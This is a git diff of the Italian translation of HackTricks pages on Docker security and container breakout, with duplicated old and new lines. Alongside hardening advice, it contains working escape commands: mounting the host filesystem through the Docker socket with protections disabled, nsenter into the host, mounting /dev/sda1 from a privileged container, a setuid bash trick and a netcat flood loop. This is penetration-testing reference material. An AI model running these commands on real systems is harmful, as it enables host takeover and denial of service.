{% content-ref url="../linux-capabilities.md" %} {% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md) [linux-capabilities.md](../linux-capabilities.md)
@ -218,7 +218,7 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
### AppArmor in Docker ### AppArmor in Docker
**AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato di risorse** con **profili per programma**: **AppArmor** è un potenziamento del kernel per confinare i **contenitori** a un **insieme limitato** di **risorse** con **profili per programma**:
{% content-ref url="apparmor.md" %} {% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md) [apparmor.md](apparmor.md)
@ -227,10 +227,10 @@ Si tratta di una funzionalità di sicurezza che consente a Docker di **limitare
### SELinux in Docker ### SELinux in Docker
* **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem. * **Sistema di etichettatura**: SELinux assegna un'etichetta univoca a ogni processo e oggetto del filesystem.
* **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può eseguire un'etichetta di processo su altre etichette all'interno del sistema. * **Esecuzione delle policy**: Applica le policy di sicurezza che definiscono quali azioni può compiere un'etichetta di processo su altre etichette all'interno del sistema.
* **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, di solito vengono assegnate loro un'etichetta SELinux confinata, comunemente `container_t`. * **Etichette dei processi del contenitore**: Quando i motori dei contenitori avviano i processi del contenitore, di solito vengono assegnate loro un'etichetta SELinux confinata, comunemente `container_t`.
* **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore di solito sono etichettati come `container_file_t`. * **Etichettatura dei file all'interno dei contenitori**: I file all'interno del contenitore di solito sono etichettati come `container_file_t`.
* **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire (leggere, scrivere, eseguire) solo con i file etichettati come `container_file_t`. * **Regole di policy**: La policy SELinux garantisce principalmente che i processi con l'etichetta `container_t` possano interagire solo (leggere, scrivere, eseguire) con i file etichettati come `container_file_t`.
Questo meccanismo garantisce che anche se un processo all'interno di un contenitore viene compromesso, è confinato nell'interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente i danni potenziali da tali compromissioni. Questo meccanismo garantisce che anche se un processo all'interno di un contenitore viene compromesso, è confinato nell'interagire solo con oggetti che hanno le etichette corrispondenti, limitando significativamente i danni potenziali da tali compromissioni.
@ -245,7 +245,7 @@ In Docker, un plugin di autorizzazione svolge un ruolo cruciale nella sicurezza
* **Contesto di autenticazione**: Questo include informazioni dettagliate sull'utente, come chi sono e come si sono autenticati. * **Contesto di autenticazione**: Questo include informazioni dettagliate sull'utente, come chi sono e come si sono autenticati.
* **Contesto del comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta in corso. * **Contesto del comando**: Questo comprende tutti i dati pertinenti relativi alla richiesta in corso.
Questi contesti contribuiscono a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker. Questi contesti aiutano a garantire che solo le richieste legittime da utenti autenticati vengano elaborate, migliorando la sicurezza delle operazioni di Docker.
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -263,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop # While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
``` ```
* **Denial of Service della larghezza di banda** * Denial of Service della larghezza di banda
```bash ```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
``` ```
@ -281,9 +281,9 @@ Nella seguente pagina puoi apprendere **cosa implica il flag `--privileged`**:
#### no-new-privileges #### no-new-privileges
Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso livello di privilegi. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne. Se stai eseguendo un container in cui un attaccante riesce ad ottenere accesso come utente a basso livello. Se hai un **binario suid mal configurato**, l'attaccante potrebbe abusarne e **escalare i privilegi all'interno** del container. Ciò potrebbe consentirgli di evaderne.
Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation di privilegi**. Eseguire il container con l'opzione **`no-new-privileges`** abilitata **impedirà questo tipo di escalation dei privilegi**.
``` ```
docker run -it --security-opt=no-new-privileges:true nonewpriv docker run -it --security-opt=no-new-privileges:true nonewpriv
``` ```
@ -306,13 +306,13 @@ Per ulteriori opzioni **`--security-opt`** controlla: [https://docs.docker.com/e
## Altre Considerazioni sulla Sicurezza ## Altre Considerazioni sulla Sicurezza
### Gestione delle Password: Migliori Pratiche ### Gestione dei Segreti: Migliori Pratiche
È cruciale evitare di incorporare le password direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`. È cruciale evitare di incorporare segreti direttamente nelle immagini Docker o di utilizzare variabili d'ambiente, poiché questi metodi espongono le informazioni sensibili a chiunque abbia accesso al container tramite comandi come `docker inspect` o `exec`.
I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere alle informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere alle password. I **volumi Docker** sono un'alternativa più sicura, consigliata per accedere a informazioni sensibili. Possono essere utilizzati come filesystem temporaneo in memoria, mitigando i rischi associati a `docker inspect` e al logging. Tuttavia, gli utenti root e coloro con accesso `exec` al container potrebbero comunque accedere ai segreti.
Le **password Docker** offrono un metodo ancora più sicuro per gestire le informazioni sensibili. Per le istanze che richiedono password durante la fase di costruzione dell'immagine, **BuildKit** presenta una soluzione efficiente con il supporto per le password in fase di costruzione, migliorando la velocità di costruzione e fornendo funzionalità aggiuntive. I **segreti Docker** offrono un metodo ancora più sicuro per gestire informazioni sensibili. Per le istanze che richiedono segreti durante la fase di build dell'immagine, **BuildKit** presenta una soluzione efficiente con supporto per i segreti di build-time, migliorando la velocità di build e fornendo funzionalità aggiuntive.
Per sfruttare BuildKit, può essere attivato in tre modi: Per sfruttare BuildKit, può essere attivato in tre modi:
@ -320,7 +320,7 @@ Per sfruttare BuildKit, può essere attivato in tre modi:
2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .` 2. Prefissando i comandi: `DOCKER_BUILDKIT=1 docker build .`
3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker. 3. Abilitandolo per impostazione predefinita nella configurazione di Docker: `{ "features": { "buildkit": true } }`, seguito da un riavvio di Docker.
BuildKit consente l'uso di password in fase di costruzione con l'opzione `--secret`, garantendo che queste password non siano incluse nella cache di costruzione dell'immagine o nell'immagine finale, utilizzando un comando come: BuildKit consente l'uso di segreti di build-time con l'opzione `--secret`, garantendo che questi segreti non siano inclusi nella cache di build dell'immagine o nell'immagine finale, utilizzando un comando come:
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
@ -337,37 +337,37 @@ secrets:
my_secret: my_secret:
file: ./my_secret_file.txt file: ./my_secret_file.txt
``` ```
Questo file di configurazione permette l'uso di segreti durante l'avvio dei servizi con Docker Compose. Questo file di configurazione consente l'uso di segreti durante l'avvio dei servizi con Docker Compose.
Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli degli accessi basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza della gestione dei segreti, simile a Docker Enterprise. Negli ambienti Kubernetes, i segreti sono supportati nativamente e possono essere ulteriormente gestiti con strumenti come [Helm-Secrets](https://github.com/futuresimple/helm-secrets). I controlli degli accessi basati sui ruoli (RBAC) di Kubernetes migliorano la sicurezza della gestione dei segreti, simile a Docker Enterprise.
### gVisor ### gVisor
**gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, semplificando l'esecuzione di container sandboxati. **gVisor** è un kernel dell'applicazione, scritto in Go, che implementa una parte sostanziale della superficie di sistema Linux. Include un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) chiamato `runsc` che fornisce un **confine di isolamento tra l'applicazione e il kernel host**. Il runtime `runsc` si integra con Docker e Kubernetes, semplificando l'esecuzione di container sandbox.
{% embed url="https://github.com/google/gvisor" %} {% embed url="https://github.com/google/gvisor" %}
### Kata Containers ### Kata Containers
**Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo livello di difesa. **Kata Containers** è una comunità open source che lavora per costruire un runtime di container sicuro con macchine virtuali leggere che si comportano e si esibiscono come container, ma forniscono un'**isolamento del carico di lavoro più forte utilizzando la tecnologia di virtualizzazione hardware** come secondo strato di difesa.
{% embed url="https://katacontainers.io/" %} {% embed url="https://katacontainers.io/" %}
### Suggerimenti Riassuntivi ### Suggerimenti Riassuntivi
* **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per prendere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`. * **Non utilizzare il flag `--privileged` o montare un** [**socket Docker all'interno del container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Il socket Docker consente di avviare container, quindi è un modo semplice per assumere il pieno controllo dell'host, ad esempio, eseguendo un altro container con il flag `--privileged`.
* Non eseguire come root all'interno del container. Utilizzare un [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) e [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con gli spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups. * **Non eseguire come root all'interno del container. Utilizzare un** [**utente diverso**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **e** [**spazi utente**](https://docs.docker.com/engine/security/userns-remap/)**.** Il root nel container è lo stesso dell'host a meno che non venga rimappato con spazi utente. È solo leggermente limitato principalmente da spazi utente Linux, capacità e cgroups.
* [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco. * [**Eliminare tutte le capacità**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) e abilitare solo quelle necessarie** (`--cap-add=...`). Molti carichi di lavoro non necessitano di alcuna capacità e aggiungerle aumenta la portata di un potenziale attacco.
* [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di ottenere più privilegi, ad esempio attraverso binari suid. * [**Utilizzare l'opzione di sicurezza "no-new-privileges"**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) per impedire ai processi di ottenere più privilegi, ad esempio attraverso binari suid.
* [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service. * [**Limitare le risorse disponibili al container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** I limiti delle risorse possono proteggere la macchina da attacchi di denial of service.
* **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto. * **Regolare** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** i profili per limitare le azioni e le chiamate di sistema disponibili per il container al minimo richiesto.
* **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP. * **Utilizzare** [**immagini docker ufficiali**](https://docs.docker.com/docker-hub/official\_images/) **e richiedere firme** o creare le proprie basate su di esse. Non ereditare o utilizzare immagini [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservare anche le chiavi root, passphrase in un luogo sicuro. Docker ha piani per gestire le chiavi con UCP.
* **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini**. * **Ricostruire regolarmente** le tue immagini per **applicare patch di sicurezza all'host e alle immagini.**
* Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi. * Gestire i **segreti saggiamente** in modo che sia difficile per l'attaccante accedervi.
* Se **esponi il demone docker usa HTTPS** con autenticazione client e server. * Se **esponi il demone docker usa HTTPS** con autenticazione client e server.
* Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip. * Nel tuo Dockerfile, **preferisci COPY invece di ADD**. ADD estrae automaticamente file zippati e può copiare file da URL. COPY non ha queste capacità. Quando possibile, evita di utilizzare ADD per non essere suscettibile ad attacchi attraverso URL remoti e file Zip.
* Avere **container separati per ogni microservizio**. * Avere **container separati per ogni micro-s**ervizio
* **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al container. * **Non inserire ssh** all'interno del container, "docker exec" può essere utilizzato per ssh al Container.
* Avere **immagini di container più piccole** * Avere **immagini di container più piccole**
## Fuga da Docker / Escalation dei Privilegi ## Fuga da Docker / Escalation dei Privilegi
@ -410,10 +410,10 @@ Se hai accesso al socket docker o hai accesso a un utente nel **gruppo docker ma
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
<details> <details>
@ -424,6 +424,6 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>

View file

@ -6,8 +6,8 @@
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -17,16 +17,16 @@ Altri modi per supportare HackTricks:
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
## Enumerazione Automatica & Fuga ## Enumerazione Automatica & Fuga
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container** * [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Può anche **enumerare i container**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è abbastanza **utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente** * [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Questo strumento è abbastanza **utile per enumerare il container in cui ti trovi e provare a fuggire automaticamente**
* [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi che il container ha al fine di trovare modi per fuggirne * [**amicontained**](https://github.com/genuinetools/amicontained): Strumento utile per ottenere i privilegi del container al fine di trovare modi per fuggirne
* [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container * [**deepce**](https://github.com/stealthcopter/deepce): Strumento per enumerare e fuggire dai container
* [**grype**](https://github.com/anchore/grype): Ottieni i CVE contenuti nel software installato nell'immagine * [**grype**](https://github.com/anchore/grype): Ottieni i CVE contenuti nel software installato nell'immagine
@ -39,7 +39,7 @@ Questo di solito accade nei container docker che per qualche motivo devono conne
find / -name docker.sock 2>/dev/null find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock #It's usually in /run/docker.sock
``` ```
In questo caso puoi utilizzare i comandi docker regolari per comunicare con il demone docker: In questo caso è possibile utilizzare i comandi docker regolari per comunicare con il demone docker:
```bash ```bash
#List images to use one #List images to use one
docker images docker images
@ -54,7 +54,7 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
``` ```
{% hint style="info" %} {% hint style="info" %}
Nel caso in cui il **socket di Docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/al/docker.sock`** Nel caso in cui il **socket di Docker si trovi in un posto inaspettato**, è comunque possibile comunicare con esso utilizzando il comando **`docker`** con il parametro **`-H unix:///percorso/a/docker.sock`**
{% endhint %} {% endhint %}
Il demone Docker potrebbe anche essere [in ascolto su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o nei sistemi basati su Systemd, la comunicazione con il demone Docker può avvenire tramite il socket Systemd `fd://`. Il demone Docker potrebbe anche essere [in ascolto su una porta (di default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o nei sistemi basati su Systemd, la comunicazione con il demone Docker può avvenire tramite il socket Systemd `fd://`.
@ -114,7 +114,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
``` ```
### Privilegiato ### Privilegiato
Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **evadere abusando di release\_agent o di altre evasioni**. Solo con il flag privilegiato puoi provare ad **accedere al disco dell'host** o provare a **fuggire abusando di release\_agent o di altre fuggite**.
Testa i seguenti bypass in un container eseguendo: Testa i seguenti bypass in un container eseguendo:
```bash ```bash
@ -126,14 +126,14 @@ I container Docker ben configurati non permetteranno comandi come **fdisk -l**.
![](https://bestestredteam.com/content/images/2019/08/image-16.png) ![](https://bestestredteam.com/content/images/2019/08/image-16.png)
Quindi per prendere il controllo della macchina host, è banale: Quindi, per prendere il controllo della macchina host, è banale:
```bash ```bash
mkdir -p /mnt/hola mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola mount /dev/sda1 /mnt/hola
``` ```
E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`. E voilà! Ora puoi accedere al filesystem dell'host perché è montato nella cartella `/mnt/hola`.
#### Montaggio del disco - Poc2 #### Montaggio Disco - Poc2
All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo sottostante dell'host tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante: All'interno del container, un attaccante potrebbe tentare di ottenere ulteriore accesso al sistema operativo sottostante dell'host tramite un volume hostPath scrivibile creato dal cluster. Di seguito sono riportate alcune cose comuni che puoi controllare all'interno del container per vedere se puoi sfruttare questo vettore dell'attaccante:
```bash ```bash
@ -156,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
### debugfs (Interactive File System Debugger) ### debugfs (Interactive File System Debugger)
debugfs /dev/sda1 debugfs /dev/sda1
``` ```
#### Fuga di privilegi Abuso dell'agent di rilascio esistente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 #### Fuga di privilegi sfruttando l'agent di rilascio esistente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
{% code title="PoC iniziale" %} {% code title="PoC iniziale" %}
```bash ```bash
@ -194,7 +194,7 @@ cat /o
``` ```
{% endcode %} {% endcode %}
#### Fuga di privilegi sfruttando release\_agent creato ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 #### Fuga di privilegi sfruttando il release_agent creato ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
{% code title="Secondo PoC" %} {% code title="Secondo PoC" %}
```bash ```bash
@ -248,7 +248,7 @@ Trova una **spiegazione della tecnica** in:
#### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3 #### Fuga privilegiata sfruttando release\_agent senza conoscere il percorso relativo - PoC3
Nei precedenti exploit viene **rivelato il percorso assoluto del container all'interno del filesystem dell'host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica: Negli exploit precedenti viene **rivelato il percorso assoluto del container all'interno del filesystem degli host**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non si conosce il percorso assoluto del container all'interno dell'host** è possibile utilizzare questa tecnica:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %} {% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md) [release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -374,12 +374,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder bash -p #From non priv inside mounted folder
``` ```
### Escalazione dei privilegi con 2 shell ### Escalatione dei privilegi con 2 shell
Se hai accesso come **root all'interno di un container** e sei **scappato come utente non privilegiato all'host**, puoi abusare di entrambe le shell per **escalare i privilegi all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ Se hai accesso come **root all'interno di un container** e sei **scappato come utente non privilegiato all'host**, puoi abusare di entrambe le shell per **escalare i privilegi all'interno dell'host** se hai la capacità MKNOD all'interno del container (è di default) come [**spiegato in questo post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Con tale capacità, all'utente root all'interno del container è consentito **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per **leggere i dati grezzi sul disco del sistema**. Con tale capacità, all'utente root all'interno del container è consentito **creare file di dispositivo a blocchi**. I file di dispositivo sono file speciali utilizzati per **accedere all'hardware sottostante e ai moduli del kernel**. Ad esempio, il file di dispositivo a blocchi /dev/sda fornisce accesso per **leggere i dati grezzi sul disco del sistema**.
Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura sui dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container. Docker protegge dall'abuso dei dispositivi a blocchi all'interno dei container applicando una politica cgroup che **blocca le operazioni di lettura/scrittura dei dispositivi a blocchi**. Tuttavia, se un dispositivo a blocchi viene **creato all'interno del container**, diventa accessibile dall'esterno del container tramite la directory **/proc/PID/root/**. Questo accesso richiede che il **proprietario del processo sia lo stesso** sia all'interno che all'esterno del container.
Esempio di **sfruttamento** da questo [**articolo**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): Esempio di **sfruttamento** da questo [**articolo**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash ```bash
@ -454,7 +454,7 @@ Se in qualche modo hai **accesso privilegiato su un processo al di fuori del con
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
